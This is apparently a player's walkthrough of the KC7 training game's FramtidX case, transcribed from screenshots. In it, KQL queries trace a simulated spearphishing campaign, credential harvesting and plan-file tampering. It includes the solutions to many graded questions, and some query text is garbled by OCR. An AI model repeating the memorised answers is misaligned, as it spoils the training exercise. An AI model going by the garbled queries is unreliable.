To find the URLs they accessed, we'll need their IP addresses. But there are so many Dorothys! So we'll save the IP addresses in a `let` statement, like so:

```
let dorothy_ips =  
Employees  
| where name has "<the name we're looking for>"  
| distinct ip_addr;
```

Basically, you've saved the result of a query to a variable. And now you can access that result in just one short line!

```
OutboundNetworkEvents  
| where src_ip in (dorothy_ips)  
| distinct <field>
```

How many distinct URLs did employees with the first name Dorothy visit?

✓ 419

Solved by 140 players || 😊 Need help? Ask on discord @ [kc7cyber/community](#)

Submit

Table 1 + Add visual ⚡ Stats

Search UTC Done (0.307 s) 419 records

url
> <a href="https://drive.google.com/drive/u/1/folders/pgHCqBW7a03SMvusvC5ArBGY">https://drive.google.com/drive/u/1/folders/pgHCqBW7a03SMvusvC5ArBGY</a>
> <a href="https://valordipublicworks.sharepoint.com/hxNQBEKYF8QgB0s1Zt72/?items=484602740/Dxcg-908236653">https://valordipublicworks.sharepoint.com/hxNQBEKYF8QgB0s1Zt72/?items=484602740/Dxcg-908236653</a>
> <a href="https://techninnovators.sharepoint.com/ba5ccdc81-9d82-4c9f-ad2f-4a399e1b2744/?items=1-231-56363-X/lg7i9Xj54Tjkkg61sg">https://techninnovators.sharepoint.com/ba5ccdc81-9d82-4c9f-ad2f-4a399e1b2744/?items=1-231-56363-X/lg7i9Xj54Tjkkg61sg</a>
> <a href="https://reports.frantiddevcorp.com/id/auth=True&amp;requestid=2397355057">https://reports.frantiddevcorp.com/id/auth=True&amp;requestid=2397355057</a>
> <a href="http://adiconsum.it/share/online/published/thought.pptx">http://adiconsum.it/share/online/published/thought.pptx</a>
> <a href="https://drive.google.com/drive/u/1/folders/081z2lKw4Rf0MwndGIO00dx">https://drive.google.com/drive/u/1/folders/081z2lKw4Rf0MwndGIO00dx</a>
> <a href="https://drive.google.com/drive/u/1/folders/081z2lKw4Rf0MwndGIO00dx">https://drive.google.com/drive/u/1/folders/081z2lKw4Rf0MwndGIO00dx</a>

Feedback

You manage to keep your face perfectly blank this time (but, yes, you laugh internally). This confirms your suspicion that the threat actor went beyond Anita's machine. The frogs are furious.

You thank Erik for the information, telling him your investigation will go faster thanks to him. He nods gravely. He needs to get in touch with the other Chief Architect who is on vacation to inform her of the situation ("she's not gonna be happy, those architectural plans were her babies"), so you leave him to it and go back to your desk.

Thanks to your work on Anita's case, you have an idea of how it all started, you just need to confirm it. And from there you can just follow the breadcrumbs.

**What is the name of Erik Bjorn's colleague?**

Solved by 133 players || Need help? Ask on discord @ [kc7cyber/community](#)

 

**Available Tables**  

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 > + 15 ? 

**Run** kc7001.eastus/ValdyX2

1 Employees  
2 | where role == "Chief Architect"

**Table 1**      (1,192 s)     

hire_date	name	user_agent	ip_addr	email_addr	username	role	hostname	mfa_enabled	compa
2022-01-20...	Sofia Li...	Mozilla/5.0 (...)	10.10.0.18	sofia_lindgre...	solindgren	Chief ...	VJVS-MACH...	False	frantic
1	Sofia Lindgren								



**KC7**

**Section 3: Alright it's definitely an angry frog or two 🐸**

**Question 2 (solved): (20) points**

You check to see if the Chief Architects received emails from the same internal address you found when investigating Anita.

**What is the subject of these emails?**

✓ Important: Architectural Plan Changes

Solved by 128 players || Need help? Ask on discord @ [kc7cyber/community](#)

Submit

**Available Tables** Game Ranking Query Data (ADX)

Run kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```

1 | mail
2 | where recipient == "sofia_lindgren@framtidxdevcorp.com"

```

**Table 1** Add visual Stats Search UTC Done (0.471 s) 23 records Columns

timestamp sender reply\_to recipient

2024-06-26 14:32:20.0000 alex\_johnson@framtidxdevcorp.com alex\_johnson@framtidxdevcorp.com sofia\_lindgren@framtidxdevcorp.com

JPath: /subject Inline Compact

5 "subject": Important: Architectural Plan Changes,  
6 "verdict": CLEAN,

**KC7**

**Section 3: Alright it's definitely an angry frog or two 🐸**

**Question 3 (solved): (20) points**

The link in those emails leads to another sign-in page.

**Which domain is the page hosted on?**

✓ greenprojectnews.net

Solved by 128 players || Need help? Ask on discord @ [kc7cyber/community](#)

Submit

**Available Tables** Game Ranking Query Data (ADX)

Run kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```

1 | mail
2 | where recipient == "sofia_lindgren@framtidxdevcorp.com"

```

**Table 1** Add visual Stats Search UTC Done (0.471 s) 23 records Columns

timestamp sender reply\_to recipient

2024-06-26 14:32:20.0000 alex\_johnson@framtidxdevcorp.com alex\_johnson@framtidxdevcorp.com sofia\_lindgren@framtidxdevcorp.com

JPath: /link Inline Compact

7 "link": <https://greenprojectnews.net/online/images/modules/share/login.html>

43%

**KC7**

**Section 3: Alright it's definitely an angry frog or two 🐸**

**Question 4 (solved): (30) points**

That is the same domain used to phish Anita.

You also notice that in both cases, the mail subject was tailored to fit the role of the recipient.

**What type of phishing attack is this?**

✓ Spearphishing:spear phishing

Solved by 125 players || 😊 Need help? Ask on discord @ kc7cyber/community

Submit

Available Tables Game Ranking Query Data (ADX)

Run kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```

1 | mail
2 | where recipient == "sofia_lindgren@framtidxdevcorp.com"

```

Table 1 Add visual Stats Search UTC Done (0.471 s) 23 records Columns

timestamp sender reply\_to recipient

2024-06-26 14:32:20.0000 alex\_johnson@framtidxdevcorp.com alex\_johnson@framtidxdevcorp.com sofia\_lindgren@framtidxdevcorp.com

JPath: /link Inline Compact

7 "link": "https://greenprojectnews.net/online/images/modules/share/login.html"

8

Dashboard Tenable Assure Part... YouTube Homepage - ISC2 ... CSS0.me: CS50 Python How to Install and... Pearson VUE - Select... Dashboard searching Partner Connect Sve oznake

**KC7**

Ah-ha! It makes perfect sense! After deleting the original plans, the attackers downloaded a replacement and renamed it with the name of the OG file so that nobody would catch on to what they were doing. That way, the next time Erik or Sofia would look at the plans, they would be surprised by the memo! Sneaky!

We Gotta Be Sneaky Charlie!

According to MITRE, what kind of impact is this an example of?

✓ Data Manipulation

Solved by 60 players || 😊 Need help? Ask on discord @ kc7cyber/community

Available Tables Game Ranking Query Data (ADX)

Run kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

```

1 let dorothy_ips =
2 Employees
3 | where name has "Dorothy"
4 | distinct name;
5 AuthenticationEvents
6 | where src_ip in (dorothy_ips)
7 | distinct src_ip
8

```

Table 1 Add visual Stats UTC Done (0.183 s) Columns

src\_ip

No Rows To Show

Dashboard Tenable Assure Part... YouTube Karte Homepage - ISC2 ... CS50.me: CS50 Python How to Install and... Pearson VUE - Select... Dashboard searxng Partner Connect Sve oznake

While the machine brews your beverage, you go over what you've found so far.

Three employees have been targeted in a seemingly internal spearphishing attack. Those attacks were successful and allowed the Shadow Truth to deface FramtidX's website and ruin their architectural plans. Also frogs. That was the easy part.

The coffee machine bips. You grab your cup and walk back to your desk, pondering your next steps. You think you should investigate Alex Johnson. That employee was the source of the phishing emails. They might have been compromised themselves, or they could be an insider threat. Either way, investigating them will allow you to confirm and/or find out the entry point for the attack, but also verify if anybody else was targeted.

You take a sip of your coffee and start to type a new query.

**What is Alex Johnson's role in the company?**

```
developer
```

Solved by 104 players || 😊 Need help? Ask on discord @ kc7cyber/community

Submit

Feedback

21°C Mostly sunny

Pretraživanje

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

Available Tables Game Ranking Query Data (ADX)

Run kc7001.eastus/ValdyX2

```
1 Employees
2 | where name == "Alex Johnson"
```

Table 1 Add visual Stats

hire\_date name user\_agent ip\_addr email\_addr username role hostname mfa\_enabled compa

hire_date	name	user_agent	ip_addr	email_addr	username	role	hostname	mfa_enabled	compa
2024-05-01...	Alex Jo...	Mozilla/5.0 (...)	10.10.0.2	alex_johnson...	ajohnson	Dev...	HWYH-LAPT...	True	framtic...
	1	Developer							

Done (0.175 s) 1 records

20:04 15.10.2024

Section 2: KQL 101 🎉

**Question 11 (solved): (10) points**

Now try it on your own!

How many authentication attempts did we see to the accounts of employees with the first name Dorothy?

✓ 490

Solved by 137 players || 😊 Need help? Ask on discord @ kc7cyber/community

Submit

Feedback

Cloudy

Pretraživanje

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

Available Tables Game Ranking Query Data (ADX)

Run kc7001.eastus/ValdyX2

```
1 let dorothy_accounts = Employees
2 | where name has "Dorothy"
3 | distinct username;
4
5
6 AuthenticationEvents
7 | where username in (dorothy_accounts)
8 | count
9
10
```

Table 1 Add visual Stats

Count

Count
490

Done (0.317 s) 1 records

14:29 16.10.2024

KC7

**Section 4: Nope, it's a full on fognado!!! 🌡️⚠️🔥**

**Question 2 (solved): (30) points**

Hmmm, someone tech-savvy then. And the most recent hire. Nothing suspicious in and of itself, but information to keep in mind nonetheless.

Let's take a look at the email they sent.

**How many internal phishing emails were sent from Alex's email address?**

✓ 7

Solved by 103 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

<https://kc7cyber.com/dashboard>

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

Run kc7001.eastus.ValdyX2

```
1 Email
2 | where sender == "alex_johnson@framtidxdevcorp.com"
3
```

Table 1 Add visual Stats Search UTC Done (1.100 s) 28 records

timestamp sender reply\_to recipient

> 2024-06-17 10:34:36.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	sean_wardlow@valdoriapublicworks.gov
> 2024-06-18 08:22:50.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	mona_hunter@framtidxdevcorp.com
> 2024-06-20 10:04:40.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	alexisreid@hotmail.com
> 2024-06-20 14:07:53.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	jscott@hotmail.com
> 2024-06-21 10:33:31.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	lopezbeth@morales-jackson.net

KC7

**Section 4: Nope, it's a full on fognado!!! 🌡️⚠️🔥**

**Question 3 (solved): (20) points**

How many distinct roles were targeted by the spearphishing emails?

✓ 4

Solved by 102 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

Run kc7001.eastus.ValdyX2

```
1 Email
2 | where sender == "alex_johnson@framtidxdevcorp.com"
3
```

Table 1 Add visual Stats Search UTC Done (1.100 s) 28 records

timestamp sender reply\_to recipient

> 2024-06-17 10:34:36.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	sean_wardlow@valdoriapublicworks.gov
----------------------------	----------------------------------	----------------------------------	--------------------------------------

JPath: /timestamp | Inline | Compact

```
4 recipient : sean_wardlow@valdoriapublicworks.gov,
5 "subject": FW: Stevens deeper by has construction preserving report erik cause development,
6 "verdict":
```

KC7

**Section 4: Nope, it's a full on fognado!!! 🌡️⚠️🔥**

**Question 4 (solved): (20) points**

Hu-ho. One of those roles is not like the others.

What is the name of the very important person who was targeted?

✓ Johanna Karlsson

Solved by 103 players || 🤔 Need help? Ask on discord @ kc7cyber/community

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

Run kc7001.eastus.ValdyX2

```
1 Email
2 | where sender == "alex_johnson@framtidxdevcorp.com"
3
4
```

Table 1 Add visual Stats Search UTC Done (0.676 s) 28 records

timestamp sender reply\_to recipient

> 2024-06-25 14:06:21.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	john_perritt@framtidxdevcorp.com
> 2024-06-26 13:51:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	johanna_karlsson@framtidxdevcorp.com
> 2024-06-26 13:53:06.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	frederick_starkkey@framtidxdevcorp.com
> 2024-06-26 14:32:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	erik_bjorn@framtidxdevcorp.com
> 2024-06-26 14:32:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	sofia_lindgren@framtidxdevcorp.com
> 2024-06-26 15:16:20.0000	alex_johnson@framtidxdevcorp.com	alex_johnson@framtidxdevcorp.com	anita_bath@framtidxdevcorp.com

**Section 4: Nope, it's a full on fognado!!! 🐍⚡️⚡️**

**Question 5 (solved): (20 points)**

What was the subject of the mail targeting the person found in Q4?

✓ Urgent: Security Update Required

Solved by 104 players || 😕 Need help? Ask on discord @ kc7cyber/community

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.Valdy... X kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2

Run kc7001.eastus.ValdyX2

```

1 Email
2 | where sender == "alex_johnson@framtidxdevcorp.com"
3
4

```

Table 1 Add visual Stats Search UTC Done (0.676 s) 28 records Columns

timestamp sender reply\_to recipient

> 2024-06-25 14:09:21.0000 alex\_johnson@framtidxdevcorp.com alex\_johnson@framtidxdevcorp.com john\_permit@framtidxdevcorp.com

< 2024-06-26 13:51:20.0000 alex\_johnson@framtidxdevcorp.com alex\_johnson@framtidxdevcorp.com johanna\_karlsson@framtidxdevcorp.com

JPath: /subject Inline Compact

```

4 "recipient": johanna_karlsson@framtidxdevcorp.com,
5 "subject": "Urgent: Security Update Required",

```

**Section 3: Alright It's definitely an angry frog or two 🦸‍♂️🐸**

**Question 5 (solved): (40 points)**

This method implies the threat actor did some reconnaissance on the company before they started.

How many distinct pages on the company's website did the threat actor browse to?

✓ 78

Solved by 104 players || 😕 Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.Valdy... X kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield

Run kc7001.eastus.ValdyX2

```

1 let TA_IP =
2 PassiveOn
3 | where domain contains "greenprojectnews"
4 | distinct ip
5 InboundNetworkEvents
6 | where src_ip in (TA_IP)
7 | distinct url
8 | count

```

Table 1 Add visual Stats Search UTC Done (0.928 s) 1 records Columns

Count

> 78

Query Data (ADX) Someone's been eating their brain food

57%

**Section 3: Alright it's definitely an angry frog or two 😡😡**

**Question 6: (30) points**

That's a lot of browsing. Let's narrow it down to results related to careers at FramtidX. Job boards like Indeed or a company's career page are often used by threat actors to find valuable information about the company: names, roles, even the tools they use!

Which job related referrer returned the most results?

<https://www.valdorianjobs.com>

Solved by 172 players | Need help?

Submit

Available Tables

Game Ranking

Query Data (ADX)

```

1 let TA_IP =
2 PassibleOns
3 | where domain contains "greenprojectnews"
4 | distinct ip;
5 InboundNetworkEvents
6 | where src_ip in (TA_IP)
7 | summarize count() by referrer
8 | sort by count_ asc
  
```

Table 1

referrer	count
> https://facebook.com	1
> https://linktree	1
> https://instagram.com	1
> https://microsoft.com	1
> https://openai.com	1
> https://msn.com	1
> https://okta.com	1
> https://microsoftonline.com	1
> https://random.com	1
> https://sharepoint.com	1
> https://t.co	1
> https://eBay.com	1
> https://valdorianjobs.com	1

59%

**Section 3: Alright it's definitely an angry frog or two 😡😡**

**Question 8: (20) points**

Welp, You cannot imagine the threat actor **not** using those harvested credentials.

What time did they manage to log in to Sofia's machine?

2024-06-27T10:41:38Z

Solved by 172 players | Need help?

Submit

Available Tables

Game Ranking

Query Data (ADX)

```

1 let TA_IP =
2 PassibleOns
3 | where domain contains "greenprojectnews"
4 | distinct ip;
5 AuthenticationEvents
6 | where username contains "solindgren"
7 | where src_ip in(TA_IP)
  
```

Table 1

timestamp	hostname	src_ip	user_agent	username	result	password_hash	description
2024-06-27 10:41:38.0000	VIVS-MACHINE	239.72.6.38	Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_9_3; rv:1.9.6.2...	solindgren	Successful Login	22886d6cb1aabf45cd371ea943b5c	User success
1 2024-06-27T10:41:38Z							

60%

**Section 3: Alright it's definitely an angry frog or two 😡😡**

**Question 9: (30) points**

Time to check what the threat actor did after they got full access to the Chief Architect's machines. You already know it has something to do with the plans for the mall...

What is the first Powershell cmdlet used to delete something from Erik and Sofia's machines?

Remove-Item

Solved by 124 players || Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.Valdy... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + 5 ? ⚙️

```
1 let chief_architect_hostnames =
2 Employees
3 | where role contains "chief"
4 | distinct hostname;
5 ProcessEvents
6 | where hostname in (chief_architect_hostnames)
7 | where process_commandline contains "remove"
```

Table 1 + Add visual Stats

timestamp parent\_process\_name parent\_process\_hash process\_commandline process\_name process\_hash

> 2024-07-09 14:23:50.0000	cmd.exe	614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec...	Remove-Item C:\Users\erbjorn\Documents\SuperImportant...	powershell.exe	e3f9d770e6245...
> 2024-07-09 15:58:46.0000	cmd.exe	614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec...	Remove-Item C:\Users\solindgren\Documents\SuperImport...	powershell.exe	d1ed187d85902...

63%

**Section 3: Alright it's definitely an angry frog or two 😡😡**

**Question 10 (solved): (30) points**

What is the name of the file that was deleted?

✓ SuperImportantMallProjectArchitecturalPlans.docx

Solved by 124 players || Need help?

Submit

Available Tables Game Ranking Query Data (ADX)

kc7001.eastus.Valdy... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + 5 ? ⚙️

```
1 let chief_architect_hostnames =
2 Employees
3 | where role contains "chief"
4 | distinct hostname;
5 ProcessEvents
6 | where hostname in (chief_architect_hostnames)
7 | where process_commandline contains "remove"
```

Table 1 + Add visual Stats

timestamp parent\_process\_name parent\_process\_hash process\_commandline process\_name process\_hash

> 2024-07-09 14:23:50.0000	cmd.exe	614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec...	Remove-Item C:\Users\erbjorn\Documents\SuperImportant...	powershell.exe	e3f9d770e6245...
1 Remove-Item C:\Users\erbjorn\Documents\SuperImportantMallProjectArchitecturalPlans.docx					
> 2024-07-09 15:58:46.0000	cmd.exe	614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ec...	Remove-Item C:\Users\solindgren\Documents\SuperImport...	powershell.exe	d1ed187d85902...

KC7

Game links

Exit this game

My Performance

Global Leaderboard

Case Vault (All Games)

Badge Backpack

Section 3: Alright it's definitely an angry frog or two 🦸‍♂️🐸

Question 11: (30) points

So they deleted the original plans. They must have replaced it though, otherwise Erik would have noticed they were gone instead of coming to you with a meme.

Keep looking at what happened on the machines. It looks like the threat actor downloaded a file from one of their domains.

What is the name of the file they downloaded?

fake\_plans.docx

Solved by 179 players || 🤔 Need help?

Submit

Available Tables		Game Ranking		Query Data (ADX)					
kc7001.eastus.ValidyX		kc7001.eastus.ValidyX2		kc7001.eastus.ValidyX2					
kc7001.eastus.ValidyX		kc7001.eastus.ValidyX2		kc7001.eastus.ValidyTimes					
kc7001.eastus.ValidyX		kc7001.eastus.ValidyX2		kc7001.eastus.TitanShield					
Run	Recall	KQL tools	kc7001.eastus.ValidyX2	Pin to dashboard	Open	Copy	Export		
▶ Run	▼	Recall	KQL tools	kc7001.eastus.ValidyX2	Pin to dashboard	Open	Copy	Export	
1	let chief_architect_hostnames =								
2	Employees								
3	where role contains "chief"								
4	distinct hostname;								
5	ProcessEvents								
6	where hostname in (chief_architect_hostnames)								
7	where timestamp between (datetime(2024-07-09) .. datetime(2024-07-10))								
<b>Table 1</b> + Add visual ⚡ Stats						Search	🕒 UTC	Done (0.325 s)	26 records
timestamp	parent_process_name	parent_process_hash	process_commandline	process_name	process_hash	Search	🕒 UTC	Done (0.325 s)	26 records
> 2024-07-09 07:23:25.0000	cmd.exe	614ca76d7353e2aa1e5c3594605dfe6f6f0000c2b45e...	"C:\Program Files\Microsoft Office\Office16\EXCEL.EXE"	excel.exe	b8668df1fb...				
> 2024-07-09 08:35:21.0000	sc.exe	4f6ed8eb019fb79mf45138de7cf7906867aae5589bd8af...	C:\Windows\explorer.exe explorer	explorer.exe	a34cd8454a...				
> 2024-07-09 08:55:34.0000	services.exe	c2359ae4640cde730676a956bafe9f9b20e4d40e162...	C:\Windows\system2\svchost.exe -k netvnc -p -x\AAuth...	svchost.exe	5a55691aa4l...				
> 2024-07-09 09:07:34.0000	services.exe	c2359ae4640cde730676a956bafe9f9b20e4d40e162...	svhost.exe	svhost.exe	792651a13d...				
> 2024-07-09 09:10:32.0000	cmd.exe	614ca76d7353e2aa1e5c3594605dfe6f6f0000c2b45e...	"C:\Program Files\WindowsApps\SpotifyApp.Bat\SpotifyMusic_1...	spotify.exe	5c7fed0470d8...				
> 2024-07-09 09:21:14.0000	services.exe	c2359ae4640cde730676a956bafe9f9b20e4d40e162...	C:\Windows\system2\svchost.exe - LocalService\Network...	svchost.exe	a0bac002c...				
> 2024-07-09 09:25:13.0000	services.exe	c2359ae4640cde730676a956bafe9f9b20e4d40e162...	C:\Windows\system2\SearchMiner.exe /Embedding	searchindexer.exe	1066887586...				
> 2024-07-09 09:39:27.0000	cmd.exe	614ca76d7353e2aa1e5c3594605dfe6f6f0000c2b45e...	"C:\Program Files (x86)\Microsoft Edge\Application\msedge...	msedge.exe	83b5667c33...				
> 2024-07-09 09:46:19.0000	services.exe	c2359ae4640cde730676a956bafe9f9b20e4d40e162...	"C:\Program Files\Microsoft Office\Root\Office16\SOHHepe...	sdheperexe	01a844bb0e0...				
> 2024-07-09 10:49:32.0000	cmd.exe	614ca76d7353e2aa1e5c3594605dfe6f6f0000c2b45e...	C:\Windows\system2\svchost.exe - DcomLaunch -p	svchost.exe	920c41a89...				
> 2024-07-09 11:09:52.0000	sc.exe	4f6ed8eb019fb79mf45138de7cf7906867aae5589bd8af...	Program Files (x86)\Microsoft\Edge\Application\msedge...	msedge.exe	933523371b...				
> 2024-07-09 13:19:11.0000	cmd.exe	4f6ed8eb019fb79mf45138de7cf7906867aae5589bd8af...	C:\Windows\system2\svchost.exe - Non_FluentDomotic...	nonshell.exe	796417n1n1...				

KC7

66%

**Section 3: Alright it's definitely an angry frog or two 😠😡**

Question 13: (30) points

Which such an obvious name, anybody would have noticed something was going on.

What Powershell cmdlet did the attackers use to rename the downloaded file

Rename-Item

Solved by 172 players || 🤔 Need help?

Submit

Available Tables		Game Ranking		Query Data (ADX)	
kc7001.eastus.ValidyX		kc7001.eastus.ValidyX2		kc7001.eastus.ValidyTimes	
kc7001.eastus.ValidyX		kc7001.eastus.ValidyX2		kc7001.eastus.TitanShield	
▶ Run	⟳ Recall	KQL tools	kc7001.eastus.ValidyX2	↗ Pin to dashboard	Open
Copy	Export				
1	let chief_architect_hostnames =				
2	Employer				
3	where role contains "chief"				
4	distinct hostname;				
5	ProcessEvents				
6	where hostname in (chief_architect_hostnames)				
7	where timestamp between (datetime(2024-07-09) .. datetime(2024-07-10))				

**Section 3: Alright it's definitely an angry frog or two 😡😡**

**Question 14: (20) points**

What was the file renamed to?

SuperImportantMallProjectArchitecturalPlans.docx

Solved by 172 players | Need help?

Submit

**Available Tables**

kc7001.eastus.Valdy... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield

Run Recall KQL tools

```
1 let chief_architect_hostnames =
2 Employees
3 | where role contains "chief"
4 | distinct hostname;
5 ProcessEvents
6 | where hostname in (chief_architect_hostnames)
7 | where timestamp between (datetime(2024-07-09) .. datetime(2024-07-10))
```

**Table 1** + Add visual Stats

timestamp parent\_process\_name parent\_process\_hash process\_commandline process\_name process\_hash

> 2024-07-09 07:52:23.0000	cmd.exe	614ca7b627532e2aa3e5c3594605d6fe0f000bc22b845e...	"C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE"	excel.exe	b88debb1fb
> 2024-07-09 08:52:11.0000	sc.exe	4f6ed0e0b109b79ff645130de7cf7906867aae559bd68a...	C:\Windows\explorer.exe explorer	explorer.exe	a34dbd645a
> 2024-07-09 08:59:36.0000	services.exe	c3c259ae4640cded730676a6956bafea4fb720ed460a61c62...	C:\Windows\system32\svchost.exe -k:netvsc -p: -s: XblAuth...	svchost.exe	5a53691ae4
> 2024-07-09 09:07:34.0000	services.exe	c3c259ae4640cded730676a6956bafea4fb720ed460a61c62...	C:\Windows\system32\svchost.exe -k:netvsc -p: -s: XblAuth...	svchost.exe	79265113dc
> 2024-07-09 09:13:02.0000	cmd.exe	614ca7b627532e2aa3e5c3594605d6fe0f000bc22b845e...	"C:\Program Files\WindowsApps\SpotifyAB.SpotifyMusic_1..."	spotify.exe	5c7cd740b8
> 2024-07-09 09:21:14.0000	services.exe	c3c259ae4640cded730676a6956bafea4fb720ed460a61c62...	C:\Windows\system32\svchost.exe -k:LocalServiceNoNetwork	svchost.exe	a0bac0b2c
> 2024-07-09 09:25:18.0000	services.exe	c3c259ae4640cded730676a6956bafea4fb720ed460a61c62...	C:\Windows\system32\svchost.exe -k:LocalServiceNoNetwork	svchost.exe	106686756d
> 2024-07-09 09:39:27.0000	cmd.exe	614ca7b627532e2aa3e5c3594605d6fe0f000bc22b845e...	"C:\Program Files\Microsoft\Edge\Application\msedge..."	msedge.exe	03b56e7732
> 2024-07-09 09:46:19.0000	services.exe	c3c259ae4640cded730676a6956bafea4fb720ed460a61c62...	C:\Program Files\Microsoft\Office\Root\Office16\SDXKphere...	sdnher.exe	01a84eaeb0
> 2024-07-09 10:48:32.0000	cmd.exe	614ca7b627532e2aa3e5c3594605d6fe0f000bc22b845e...	C:\Windows\system32\svchost.exe -k:DoomLaunch -p	svchost.exe	c92041af89
> 2024-07-09 11:05:29.0000	sc.exe	4f6ed0e0b109b79ff645130de7cf7906867aae559bd68a...	"C:\Program Files\WindowsApps\Microsoft.EdgeApplication\msedge..."	msedge.exe	933033711b
> 2024-07-09 12:45:15.0000	cmd.exe	4f6ed0e0b109b79ff645130de7cf7906867aae559bd68a...	C:\Windows\System32\notepadshell.exe -NonInteractiveBlink	notepadshell.exe	7f6a17011f

**Section 4: Nope, it's a fail on frogadillo! 🤪🐸🐸**

**Question 7 (solved): (30) points**

Ahright, they seem convinced that FramtidX is an evil corporation that, among other things, despises frogs. And what better way to try and prove it than by compromising its CEO?

You go back to the phishing email you found in Q5. It includes, unsurprisingly, another sign-in page. You hope Johanna did not fall for it.

Did Johanna type in her credentials? yes/no.

✓ yes

Solved by 661 players | Need help?

Submit

**Available Tables**

kc7001.eastus.Valdy... kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield

Run Recall KQL tools

**It's lit!**

**Level Up**

**You reached level 13!**

Breaking chains, one link at a time! Your analysis is unstoppable! Your new level title is Kill Chain Analyser.

Keep Playing View your performance

timestamp

2024-06-20 00:00:00.0000
ship28team,
2024-06-20 10:15:48.0000
2024-06-20 10:16:17.0000
2024-06-20 10:17:06.0000
2024-06-20 10:17:42.0000
2024-06-20 10:17:50.0000
2024-06-20 10:18:18.0000
2024-06-20 10:18:54.0000

72%

**Section 4: Nope, it's a full on frognado!!!! 🐸🐸🐸**

**Question 8: (30) points**

Unbelievable.

When did the threat actor log in to Johanna's machine?

2024-06-27T12:40:59Z

Solved by 100 players || Need help?

Submit

KC7 Game links Exit this game My Performance Global Leaderboard Case Vault (All Games) Badge Backpack

Available Tables Game Ranking Query Data (ADX)

```
kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + Pin to dashboard Open Copy Export
```

```

1 let TA_IP =
2 Passives
3 | where domain contains "development"
4 | distinct ip;
5 let johanna_username =
6 Employees
7 | where role ~ceo"
8 | project username;
9 ProcessesEvents
10 | where src_ip in (TA_IP)
11 | where username in (johanna_username)
12

```

Table 1 Add visual Stats

timestamp	hostname	src_ip	user_agent	username	result	password_hash	description
2024-06-27 12:40:59.000	BLR-MACHINE	239.72.6.38	Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_9_3; rv:1.9.6.2...	Jokarsson	Successful Login	750a910b14d63e3e6a37c8f490037a9	User success
2024-06-27T12:40:59Z							

That is so not a good look for the company that even the frigging CEO was so easily compromised!



Let's uncover what the threat actor did on her machine after they logged into it. FramedX will be lucky if all you find are more frog memes...

It looks like they were interested into collecting a certain type of document.

In which folder did they collect the incriminating files?

C:\Users\jokarsson\Documents\StolenEmails

Solved by 100 players || Need help?

Submit

KC7 Game links Exit this game My Performance Global Leaderboard Case Vault (All Games) Badge Backpack

Available Tables Game Ranking Query Data (ADX)

```
kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyX2 kc7001.eastus.ValdyTimes kc7001.eastus.TitanShield + Pin to dashboard Open Copy Export
```

```

1 let johanna_username =
2 Employees
3 | where role ~ceo"
4 | project username;
5 ProcessesEvents
6 | where username in (johanna_username)
7 | where process_commandline contains "documents"

```

Table 1 Add visual Stats

